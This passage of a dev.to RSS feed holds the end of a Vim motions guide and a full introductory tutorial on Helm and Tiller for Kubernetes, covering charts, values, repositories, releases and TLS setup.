&lt;p&gt;&lt;code&gt;v&lt;/code&gt; is your way to mark chars / words / lines / blocks in Vim in order to do something with it; &lt;code&gt;d&lt;/code&gt;eleting, &lt;code&gt;y&lt;/code&gt;anking or maybe indenting (&lt;code&gt;&amp;gt;&amp;gt;&lt;/code&gt;).&lt;/p&gt;

&lt;h3&gt;
  
  
  W - Word
&lt;/h3&gt;

&lt;p&gt;This motion was mentioned multiple times above as it comes hand in hand with &lt;code&gt;e&lt;/code&gt;nd &amp;amp; &lt;code&gt;b&lt;/code&gt;ack; &lt;code&gt;w&lt;/code&gt; is a motion that jumps to the next beginning of a word.&lt;br&gt;
&lt;code&gt;W&lt;/code&gt; is quite interesting: while &lt;code&gt;w&lt;/code&gt; is the current word, &lt;code&gt;W&lt;/code&gt; is the "word block", which means it includes all characters between two spaces.&lt;br&gt;
Example: "some-name,still-no-space" is not one &lt;code&gt;w&lt;/code&gt;ord, but Vim would consider it one if addresses as &lt;code&gt;W&lt;/code&gt;.&lt;br&gt;
How is this useful? With motions of course: &lt;code&gt;viW&lt;/code&gt; is "visually mark a block in the Word" (between the two closest spaces). Obviously, this can be combined with any other motion in Vim.&lt;/p&gt;

&lt;h3&gt;
  
  
  X - Cross out?
&lt;/h3&gt;

&lt;p&gt;The one letter in the English alphabet which I couldn't have found an actual phonetic resolution; &lt;code&gt;x&lt;/code&gt; would remove a single character under the cursor. (Remember: &lt;code&gt;s&lt;/code&gt; would do the same resulting in &lt;em&gt;insert mode&lt;/em&gt;, &lt;code&gt;x&lt;/code&gt; would not).&lt;br&gt;
&lt;code&gt;X&lt;/code&gt; would be the same but &lt;strong&gt;backward&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Y - Yank
&lt;/h3&gt;

&lt;p&gt;One of the most useful and basic motions in Vim - &lt;code&gt;y&lt;/code&gt; copies text, by default into the &lt;a href="https://dev.to"&gt;unnamed register&lt;/a&gt;, ready to be &lt;code&gt;p&lt;/code&gt;asted back in another location. Its big brother &lt;code&gt;Y&lt;/code&gt; would copy the entire line with one stroke (I'm used to doing the same with &lt;code&gt;yy&lt;/code&gt;).&lt;/p&gt;

&lt;h3&gt;
  
  
  Z - Welcome it! Last and pretty useless on its own: "Z"
&lt;/h3&gt;

&lt;p&gt;While on it's own &lt;code&gt;z&lt;/code&gt; has no effect (&lt;code&gt;:help z&lt;/code&gt;), it's in charge of a useful Vim feature called "folding", where the user can wrap text and fold into collapse &amp;amp; extendable blocks, &lt;a href="https://github.com/omerxx/vim-notebook/blob/master/README.md#folding" rel="noopener noreferrer"&gt;read about it some more in my Vim notebook&lt;/a&gt;.&lt;br&gt;
&lt;code&gt;ZZ&lt;/code&gt; is the quick way to save and exit - yes, your complicated and physically challenging &lt;code&gt;:wq!&lt;/code&gt; is way too much (on Vim and on your body).&lt;/p&gt;

&lt;p&gt;Additions suggested by &lt;a href="https://dev.to/caruso"&gt;Giuseppe Caruso&lt;/a&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;code&gt;zz&lt;/code&gt; places the line in the middle of the buffer&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;zt&lt;/code&gt; cursor line at top of the window&lt;/li&gt;
&lt;li&gt;
&lt;code&gt;zb&lt;/code&gt; cursor line at bottom of the window&lt;/li&gt;
&lt;/ul&gt;




&lt;p&gt;And there it is! The list is complete.&lt;br&gt;
Not covered (but will be in a soon-to-be-published piece): all other symbols available in a keyboard, featuring the powerful &lt;code&gt;.&lt;/code&gt; command, the macros' &lt;code&gt;@@&lt;/code&gt;, the regex family of &lt;code&gt;$^...&lt;/code&gt;, the small but powerful &lt;code&gt;%&lt;/code&gt; and many &lt;strong&gt;many&lt;/strong&gt; more.&lt;/p&gt;

&lt;p&gt;How to use this list? After reading it, I suggest trying to go through the alphabet and memorizing the phonetic meaning of each one, maybe even turn them to flashcards! After understanding them, combining motions, and utilizing the least-key-strokes concept in Vim, becomes and an arsenal of tools rather than mental combat.&lt;/p&gt;




&lt;p&gt;Thank you for reading this far!&lt;br&gt;
My name is Omer, and I am an engineer at ProdOps — a global consultancy that delivers software in a Reliable, Secure and Simple way by adopting the DevOps culture. Let me know your thoughts in the comments below, or connect with me directly on Twitter @omergsr. Clap if you liked it, it helps me focus my future writings.&lt;/p&gt;

</description>
      <category>vim</category>
      <category>productivity</category>
      <category>tutorial</category>
    </item>
    <item>
      <title>A 6-minute introduction to HELM</title>
      <dc:creator>Omer Hamerman</dc:creator>
      <pubDate>Mon, 02 Sep 2019 15:25:41 +0000</pubDate>
      <link>https://dev.to/prodopsio/a-6-minute-introduction-to-helm-bc3</link>
      <guid>https://dev.to/prodopsio/a-6-minute-introduction-to-helm-bc3</guid>
      <description>&lt;p&gt;Simplifying Kubernetes application management&lt;/p&gt;

&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--iQID_VAR--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn-images-1.medium.com/max/10870/1%2ANcphW9pL31JRnmnS3HkYjQ.jpeg" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--iQID_VAR--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_880/https://cdn-images-1.medium.com/max/10870/1%2ANcphW9pL31JRnmnS3HkYjQ.jpeg" alt="Photo by pexels.com" width="880" height="582"&gt;&lt;/a&gt;&lt;em&gt;Photo by pexels.com&lt;/em&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;After completing a 4-month period on a client’s project that included a complete migration from “raw” K8S-yaml-files to Helm Charts, I figured I need to put the things I’ve learned in writing for others to read, and for me to better learn.&lt;br&gt;
This post is the little brother of my &lt;a href="https://dev.to/prodopsio/an-8-minute-introduction-to-kubernetes-1oi"&gt;8-minute introduction to Kubernetes&lt;/a&gt;, make sure you read it first if you're not yet familiar with basic K8s concepts.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  TL;DR
&lt;/h3&gt;

&lt;p&gt;You can install dependencies and proprietary software on your K8S cluster with a simple: &lt;code&gt;helm install https://dev.to/prodopsio/an-8-minute-introduction-to-kubernetes-1oi/mysql&lt;/code&gt;, there are hundreds of available installations like this one, but you can also do that with &lt;strong&gt;your own&lt;/strong&gt; product/services!&lt;/p&gt;




&lt;h3&gt;
  
  
  What’s HELM?
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;“A &lt;em&gt;helmsman&lt;/em&gt; or “helm” is a person who steers a ship, sailboat, submarine, other types of maritime vessel, or spacecraft.” — &lt;a href="https://en.wikipedia.org/wiki/Helmsman"&gt;Wikipedia&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;“The package manager for Kubernetes; Helm is the best way to find, share, and use software built for Kubernetes.” — &lt;a href="https://helm.sh/"&gt;Helm.sh&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;h3&gt;
  
  
  Why do we need it?
&lt;/h3&gt;

&lt;p&gt;A question I asked myself multiple times trying to understand how this magical installer thing is making my Kubernetes life better.&lt;br&gt;
Well, Helm lets you fetch, deploy and manage the lifecycle of applications, both 3rd party products and your own.&lt;/p&gt;

&lt;p&gt;No more maintaining random groups of YAML files (or very long ones) describing pods, replica-sets, services, RBAC settings, etc. With helm, there is a structure and a convention for a software package that defines a layer of YAML &lt;code&gt;templates&lt;/code&gt; and another layer that changes the templates called &lt;code&gt;values&lt;/code&gt;. Values are &lt;strong&gt;injected into templates&lt;/strong&gt;, thus allowing separation of configuration, and defining where changes are allowed. This whole package is called a "&lt;strong&gt;Helm Chart&lt;/strong&gt;".&lt;/p&gt;

&lt;p&gt;Essentially you create structured application packages that contain everything they need to run on a Kubernetes cluster; including &lt;strong&gt;dependencies&lt;/strong&gt; the application requires.&lt;/p&gt;


&lt;h3&gt;
  
  
  Helm is a CLI, Tiller is its backend
&lt;/h3&gt;

&lt;p&gt;Practically speaking, Helm is a CLI tool that interacts with its backend server called “Tiller”. Tiller is typically installed by sending the command &lt;code&gt;helm init&lt;/code&gt; and lives in the &lt;code&gt;kube-system&lt;/code&gt; namespace (unless instructed otherwise). It is in charge of deploying Charts requested by Helm.&lt;/p&gt;

&lt;p&gt;When a Chart is installed, Tiller creates a “Release” and starts tracking it for changes. This way Helm not only takes part in installation but is an actual deploy tool that manages the lifecycle of applications in a cluster using Chart Releases and their revisions.&lt;/p&gt;


&lt;h3&gt;
  
  
  Helm concepts | &lt;strong&gt;Chart&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Helm uses Charts to pack all the required K8s components for an application to deploy, run and scale. It is also where dependencies are defined, and configurations are updated and maintained.&lt;/p&gt;

&lt;p&gt;A chart root has to have only one file named &lt;code&gt;Chart.yaml&lt;/code&gt; by convention.&lt;br&gt;
It can optionally (and by default if you use helm create) have a few more components on which I’ll elaborate shortly, but first, here’s what a typical chart structure would look like:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;    &lt;span class="s"&gt;├── Chart.yaml&lt;/span&gt;
    &lt;span class="s"&gt;├── templates&lt;/span&gt;
    &lt;span class="s"&gt;│   ├── service.yaml&lt;/span&gt;
    &lt;span class="s"&gt;│   └── replicaset.yaml&lt;/span&gt;
    &lt;span class="s"&gt;├── charts&lt;/span&gt;
    &lt;span class="s"&gt;│   ├── nginx-ingress-1.1.2.tgz&lt;/span&gt;
    &lt;span class="s"&gt;├── requirements.lock&lt;/span&gt;
    &lt;span class="s"&gt;├── requirements.yaml&lt;/span&gt;
    &lt;span class="s"&gt;└── values.yaml&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;In this chart (let’s call it “web-UI”), there are templates of &lt;code&gt;Service&lt;/code&gt; and &lt;code&gt;ReplicaSet&lt;/code&gt;, which upon helm installation will be created using the &lt;code&gt;values.yaml&lt;/code&gt; file that can be seen a the bottom of the list.&lt;br&gt;
Also, the web-UI chart requires Nginx to run, and so Nginx appears as a &lt;code&gt;subchart&lt;/code&gt; under the &lt;code&gt;charts&lt;/code&gt; directory. &lt;code&gt;requirements.yaml&lt;/code&gt; is the file describing the actual requirement and lists Nginx inside. The lock file which is also part of the pack is created when helm installs the requirements when commanded with helm dependency update.&lt;/p&gt;

&lt;p&gt;A &lt;code&gt;Chart.yaml&lt;/code&gt; is a description of the package and in fact the only required file in it, there are only three required entries: &lt;code&gt;apiVersion&lt;/code&gt;, &lt;code&gt;name&lt;/code&gt; and &lt;code&gt;version&lt;/code&gt;. Here’s an example of what it would look like:&lt;br&gt;
(You can find the full list of options and entries in a Chart &lt;a href="https://github.com/helm/helm/blob/master/docs/charts.md"&gt;right here&lt;/a&gt;.)&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;    &lt;span class="na"&gt;apiVersion&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;v1&lt;/span&gt;
    &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;drone&lt;/span&gt;
    &lt;span class="na"&gt;version&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;1.0.0&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Templates
&lt;/h4&gt;

&lt;p&gt;Templates are an optional subdirectory in a chart. &lt;br&gt;
They combine the K8s components, e.g. Service, ReplicaSet, Deployment etc, converted into a &lt;a href="https://golang.org/pkg/text/template/"&gt;Go-Template&lt;/a&gt; format to which values will, later on, be matched.&lt;br&gt;
Let’s take a look of a partial template example:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;    &lt;span class="na"&gt;apiVersion&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;apps/v1&lt;/span&gt;
    &lt;span class="na"&gt;kind&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;DaemonSet&lt;/span&gt;
    &lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;{{&lt;/span&gt; &lt;span class="nv"&gt;.Values.name&lt;/span&gt; &lt;span class="pi"&gt;}}&lt;/span&gt;
      &lt;span class="na"&gt;labels&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
        &lt;span class="na"&gt;app&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;{{&lt;/span&gt; &lt;span class="nv"&gt;.Values.name&lt;/span&gt; &lt;span class="pi"&gt;}}&lt;/span&gt;
        &lt;span class="na"&gt;somelabel&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;{{&lt;/span&gt; &lt;span class="nv"&gt;.Values.labels.somelabelkey&lt;/span&gt; &lt;span class="pi"&gt;}}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Values
&lt;/h4&gt;

&lt;p&gt;Values are described in the values.yaml file which is necessarily a yaml structure holding values to match the templates. Considering the template above, a matching values file would be:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;    &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;web-ui&lt;/span&gt;
    &lt;span class="na"&gt;labels&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;somelabelkey&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;somelabelvalue&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h4&gt;
  
  
  Subcharts
&lt;/h4&gt;

&lt;p&gt;Subcharts also named dependencies, are required charts for the current one.&lt;br&gt;
You can think of it as another way of packing applications so that if my backend requires a Redis cache to run, this is another way to set it up.&lt;br&gt;
Another way of using subcharts is considering it as an inheritance mechanism which allows fetching a standard chart with templates and uses it as a subcharts in multiple parent charts that would provide the values.&lt;/p&gt;




&lt;h3&gt;
  
  
  Helm concepts | &lt;strong&gt;Repository&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Repositories are where helm charts are held and maintained. In essence, these are a set of templates and configuration values stored as code (sometimes packed as a &lt;code&gt;.tar.gz&lt;/code&gt; file).&lt;br&gt;
When you helm install stable/redis by default helm reaches out to the &lt;a href="https://github.com/helm/charts"&gt;Helm/Charts repo on GitHub&lt;/a&gt;, searching under the stable tree.&lt;/p&gt;

&lt;p&gt;Visit this repo, and you’ll also find the incubator subdirectory where you can get and install incubated Charts that have not yet been tagged as production-ready (Stable). This does not mean you can’t use them; try introducing them in a development cluster and use them. The Helm community manages strict &lt;a href="https://semver.org/"&gt;sem-ver&lt;/a&gt; guidelines for versioning, and even the smallest change creates a new Chart release. You can be confident that if a specific version of a remote Chart is working in one way, it will never break on you out of the blue.&lt;/p&gt;

&lt;p&gt;An excellent example of using a different repo is Elastic’s ElasticSearch Chart, which used to be maintained by the company in the Helm/Charts repo.&lt;/p&gt;

&lt;p&gt;Elastic had decided to move their product to their Helm repo, and to get the latest official Chart you can now &lt;code&gt;add&lt;/code&gt; their repo to Helm by:&lt;br&gt;
&lt;code&gt;helm repo add elastic&lt;/code&gt; &lt;a href="https://helm.elastic.co"&gt;https://helm.elastic.co&lt;/a&gt; &lt;br&gt;
followed by:&lt;br&gt;
&lt;code&gt;helm install --name elasticsearch elastic/elasticsearch&lt;/code&gt;&lt;/p&gt;




&lt;h3&gt;
  
  
  Helm concepts | &lt;strong&gt;Release&lt;/strong&gt;
&lt;/h3&gt;

&lt;p&gt;Think of a release as a mechanism to track installed applications on a K8S cluster; when an application is installed by Helm, a release is being created. You can create different installations of a product, e.g., Redis and have two different releases created and tracked in the cluster.&lt;/p&gt;

&lt;p&gt;Releases can be tracked with helm ls, each would have a “revision” which is the Helm release versioning terminology; if a specific release is updated, e.g., adding more memory to the Redis release, the revision would be incremented. Helm allows rolling back to a particular revision, making it virtually the manager for deployments and production status handler.&lt;/p&gt;




&lt;h3&gt;
  
  
  TLS
&lt;/h3&gt;

&lt;p&gt;Tiller and Helm need a way to communicate. By default, this connection is not very secure, which means that if one of the endpoints is compromised or accessible to a compromised component, traffic can be read and analyzed. Beyond discussing the actual attack surface of not securing communication between systems, we can easily create a secure TLS connection using an auto-generated certificate. In order to do that &lt;a href="https://github.com/prodopsio/gists/blob/master/setup-helm.sh"&gt;here’s a script that takes you through the process&lt;/a&gt; and can be implemented anywhere.&lt;/p&gt;




&lt;h3&gt;
  
  
  Contributions
&lt;/h3&gt;

&lt;p&gt;You may find yourself (like I have) running into a new requirement for ability or feature from an official chart under &lt;code&gt;github.com/helm/charts&lt;/code&gt;, it may very well be a bug (not so unlikely with incubator charts). Since Helm and its charts are both open source projects with hundreds of contributors, they are intensely active. Make changes to the desired chart and open a PR with the contribution, if all requirements have been made and taken care of, the team will approve the change in a matter of days.&lt;/p&gt;

&lt;p&gt;While the process is quite demanding (and we should be thankful that’s so), changes are being reviewed and approved or disapproved quickly. &lt;a href="https://github.com/helm/charts/blob/master/CONTRIBUTING.md"&gt;Read more about contributing&lt;/a&gt; to the project; note that if you’re only making small changes most of the document is not relevant as it outlines requirements for new charts.&lt;/p&gt;




&lt;h2&gt;
  
  
  That’s it.
&lt;/h2&gt;

&lt;p&gt;I hope that by now you understand Helm and why it is such a powerful system. As this is just an introduction, to learn and “feel” it, there’s no going around intense work with it; deploying 3rd party products and building your charts.&lt;/p&gt;

&lt;p&gt;&lt;em&gt;My name is Omer, and I am an engineer at &lt;a href="http://prodops.io"&gt;ProdOps&lt;/a&gt; — a global consultancy that delivers software in a Reliable, Secure and Simple way by adopting the Devops culture. Let me know your thoughts in the comments below, or connect with me directly on Twitter &lt;a href="https://twitter.com/omergsr"&gt;&lt;strong&gt;@&lt;/strong&gt;omergsr&lt;/a&gt;. Clap if you liked it, it helps me focus my future writings.&lt;/em&gt;&lt;/p&gt;

</description>
      <category>kubernetes</category>
      <category>devops</category>
      <category>docker</category>
      <category>beginners</category>
    </item>
  </channel>
</rss>
